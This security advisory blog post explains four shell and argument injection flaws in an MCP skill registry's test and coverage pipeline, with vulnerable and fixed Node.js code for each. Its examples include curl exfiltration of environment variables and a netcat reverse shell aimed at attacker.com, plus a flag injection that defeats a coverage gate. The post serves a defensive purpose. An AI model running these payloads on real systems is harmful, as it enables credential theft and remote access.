← Blog

Code Injection in MCP Skill Registry Skill Testing and Coverage Report Generation Pipeline Endpoints

SA-SKL-INJECTION78 documents four code injection vulnerabilities in the skill testing and coverage report generation pipeline of MCP skill registries. The findings span shell injection enabling credential exfiltration, reverse shell establishment, and silent disablement of coverage instrumentation.

SA-SKL-INJECTION78 findings
CRITICALINJECTION78-001 — exec(`jest --config ${configPath} --coverageDirectory ${outputDir}`); attacker configPath with ; cat /proc/self/environ exfiltrates all container environment variables including REGISTRY_SECRET_KEY from test runner worker
CRITICALINJECTION78-002 — exec(`vitest run --config ${configPath} --reporter ${reporter}`); attacker configPath with ; nc attacker.com 4444 -e /bin/sh establishes persistent reverse shell from test execution worker with full container process access
CRITICALINJECTION78-003 — exec(`nyc --reporter=${reporter} --report-dir=${outputDir} npm test`); attacker reporter with ; printenv exfiltrates all env vars including ANTHROPIC_API_KEY directly usable from internet to call Anthropic APIs at the registry's expense
HIGHINJECTION78-004 — exec(`c8 --reporter ${reporter} --all --src ${srcDir}`); attacker reporter with space-injected --exclude '**/*' silently disables all coverage instrumentation; all coverage reports show 0% regardless of actual test coverage, undermining quality gate enforcement

INJECTION78-001 — Jest configPath shell injection

The test execution pipeline invokes Jest via child_process.exec() with the user-supplied configPath and outputDir parameters interpolated directly into the shell command string. Shell metacharacters in configPath are not sanitized. An attacker who controls the config path parameter (via the skill testing API) can inject a semicolon-separated command that executes in the test runner's worker process, which runs with the same environment variables as the registry container, including REGISTRY_SECRET_KEY, DATABASE_URL, and cloud service credentials.

Vulnerable
// INJECTION78-001 — VULNERABLE
// configPath and outputDir interpolated directly into shell command string.

const { exec } = require('child_process');

async function runSkillTests(skillId, configPath, outputDir) {
  return new Promise((resolve, reject) => {
    // VULNERABLE: shell injection via configPath parameter
    // Attacker: configPath = "jest.config.js; cat /proc/self/environ | curl -d @- attacker.com"
    exec(
      `jest --config ${configPath} --coverageDirectory ${outputDir}`,
      { cwd: `/sandbox/skills/${skillId}` },
      (err, stdout, stderr) => {
        if (err) return reject(err);
        resolve({ stdout, stderr });
      }
    );
  });
}

Credential exfiltration via test config path: Attacker submits {"configPath":"jest.config.js; cat /proc/self/environ | curl -d @- https://attacker.com/steal","outputDir":"coverage"}. The injected command runs in the test worker, which has access to REGISTRY_SECRET_KEY, DATABASE_URL, and AWS_ACCESS_KEY_ID. All environment variables exfiltrated in one request.

Fixed
// INJECTION78-001 — FIXED
// Use execFile() with argument array — no shell interpolation.

const { execFile } = require('child_process');
const path = require('path');

async function runSkillTests(skillId, configPath, outputDir) {
  // FIXED: validate configPath is a relative path with no shell metacharacters
  if (!/^[\w.\-/]+$/.test(configPath)) throw new Error('Invalid configPath');
  if (!/^[\w.\-/]+$/.test(outputDir)) throw new Error('Invalid outputDir');
  const sandboxRoot = path.resolve(`/sandbox/skills/${skillId}`);
  const absConfig = path.resolve(sandboxRoot, configPath);
  // FIXED: execFile — args passed as array, never interpreted by shell
  return execFilePromise('jest', ['--config', absConfig, '--coverageDirectory', outputDir], {
    cwd: sandboxRoot,
    env: sanitizedEnv(),  // FIXED: strip registry secrets from subprocess env
  });
}

INJECTION78-002 — Vitest configPath reverse shell injection

The vitest execution path has the same shell interpolation vulnerability as the Jest path. The attacker can inject a Netcat reverse shell command via the configPath parameter. Unlike the Jest finding where the payload exfiltrates data passively, the reverse shell injection establishes an interactive connection back to the attacker's server, giving them persistent access to the test worker container for the duration of the shell session. From inside the container, the attacker can read all mounted secrets, write to the skill filesystem, and attempt to access other containers on the same Docker network.

Vulnerable
// INJECTION78-002 — VULNERABLE
async function runVitestSuite(skillId, configPath, reporter) {
  return execShell(
    // VULNERABLE: shell injection via configPath
    // Attacker: configPath = "vitest.config.ts; nc attacker.com 4444 -e /bin/sh"
    `vitest run --config ${configPath} --reporter ${reporter}`,
    { cwd: `/sandbox/skills/${skillId}` }
  );
}
Fixed
// INJECTION78-002 — FIXED
async function runVitestSuite(skillId, configPath, reporter) {
  if (!/^[\w.\-/]+$/.test(configPath)) throw new Error('Invalid configPath');
  const ALLOWED_REPORTERS = new Set(['verbose', 'json', 'dot', 'tap', 'junit']);
  if (!ALLOWED_REPORTERS.has(reporter)) throw new Error('Unknown reporter');
  return execFilePromise(
    'vitest',
    ['run', '--config', path.resolve(`/sandbox/skills/${skillId}`, configPath), '--reporter', reporter],
    { cwd: `/sandbox/skills/${skillId}`, env: sanitizedEnv() }
  );
}

INJECTION78-003 — NYC reporter injection exfiltrating ANTHROPIC_API_KEY

The NYC (Istanbul) coverage runner is invoked with the user-supplied reporter parameter interpolated into a shell command. The reporter parameter is intended to accept values like text, lcov, or html, but there is no allowlist validation. An attacker who injects ; printenv as the reporter value causes the shell to execute printenv after the main command, dumping all environment variables including ANTHROPIC_API_KEY. This key is directly usable by any attacker with internet access to call Anthropic APIs, generating costs billed to the registry operator and potentially extracting proprietary prompts from API calls.

Vulnerable
// INJECTION78-003 — VULNERABLE
async function generateCoverageReport(skillId, reporter, outputDir) {
  return execShell(
    // VULNERABLE: reporter interpolated — attacker injects "; printenv | curl -d @- attacker.com"
    `nyc --reporter=${reporter} --report-dir=${outputDir} npm test`,
    { cwd: `/sandbox/skills/${skillId}` }
  );
}

ANTHROPIC_API_KEY exfiltration: Attacker submits {"reporter":"lcov; printenv | curl -d @- https://attacker.com/steal","outputDir":"coverage"}. Exfiltrated environment includes ANTHROPIC_API_KEY=sk-ant-.... Attacker uses key to make unlimited API calls to claude-opus-4-7 at the registry's expense and to extract proprietary system prompts from production API invocations.

Fixed
// INJECTION78-003 — FIXED
async function generateCoverageReport(skillId, reporter, outputDir) {
  const ALLOWED_REPORTERS = new Set(['text', 'lcov', 'html', 'json', 'clover', 'cobertura']);
  if (!ALLOWED_REPORTERS.has(reporter)) throw new Error('Unknown reporter');
  if (!/^[\w.\-/]+$/.test(outputDir)) throw new Error('Invalid outputDir');
  return execFilePromise(
    'nyc',
    ['--reporter', reporter, '--report-dir', outputDir, 'npm', 'test'],
    { cwd: `/sandbox/skills/${skillId}`, env: sanitizedEnv() }
  );
}

INJECTION78-004 — C8 reporter space injection disabling coverage

INJECTION78-004 is an argument injection rather than a full command injection. The c8 coverage tool command interpolates the user-supplied reporter value with no quoting, so an attacker who includes a space in the reporter value can inject additional command-line flags. The injected payload lcov --exclude '**/*' causes c8 to exclude all source files from coverage instrumentation, resulting in a coverage report that shows 0% coverage regardless of the actual test coverage. This is a quality gate bypass: a registry that enforces a minimum coverage threshold (e.g., 80%) will pass the check even if zero tests are actually running against the submitted code.

Vulnerable
// INJECTION78-004 — VULNERABLE
// Space in reporter value injects additional c8 flags.

async function runC8Coverage(skillId, reporter, srcDir) {
  return execShell(
    // VULNERABLE: space injection via reporter
    // Attacker: reporter = "lcov --exclude '**/*'"
    // Result: c8 --reporter lcov --exclude '**/*' --all --src ./src npm test
    // All files excluded — 0% coverage reported for any codebase
    `c8 --reporter ${reporter} --all --src ${srcDir} npm test`,
    { cwd: `/sandbox/skills/${skillId}` }
  );
}

Coverage gate bypass: Attacker submits a skill with zero tests and {"reporter":"lcov --exclude '**/*'"}. C8 excludes all source files, generates a report showing 0 lines instrumented. The registry's coverage gate receives "0 of 0 lines covered = 100%", passes the threshold check, and approves the skill for publication with no test validation having occurred.

Fixed
// INJECTION78-004 — FIXED
async function runC8Coverage(skillId, reporter, srcDir) {
  const ALLOWED_REPORTERS = new Set(['text', 'lcov', 'html', 'json', 'v8', 'cobertura']);
  if (!ALLOWED_REPORTERS.has(reporter)) throw new Error('Unknown reporter');
  if (!/^[\w.\-/]+$/.test(srcDir)) throw new Error('Invalid srcDir');
  return execFilePromise(
    'c8',
    ['--reporter', reporter, '--all', '--src', srcDir, 'npm', 'test'],
    // FIXED: execFile with arg array — no shell, no space injection possible
    { cwd: `/sandbox/skills/${skillId}`, env: sanitizedEnv() }
  );
}

Universal fix for all four findings: Replace child_process.exec() with child_process.execFile() and pass arguments as an array. The exec family spawns a shell and treats the command as a string; execFile does not spawn a shell and passes each array element as a discrete argument, making shell metacharacter and space injection structurally impossible regardless of input content. Additionally, strip all registry secrets from the subprocess environment using an explicit allowlist of safe environment variables.

Scan your MCP skill registry for SA-SKL-INJECTION78

SkillAudit detects shell injection patterns in test runner invocations — exec() with interpolated parameters, missing reporter allowlists, and unstripped credential environments in subprocess spawns.

Run a free audit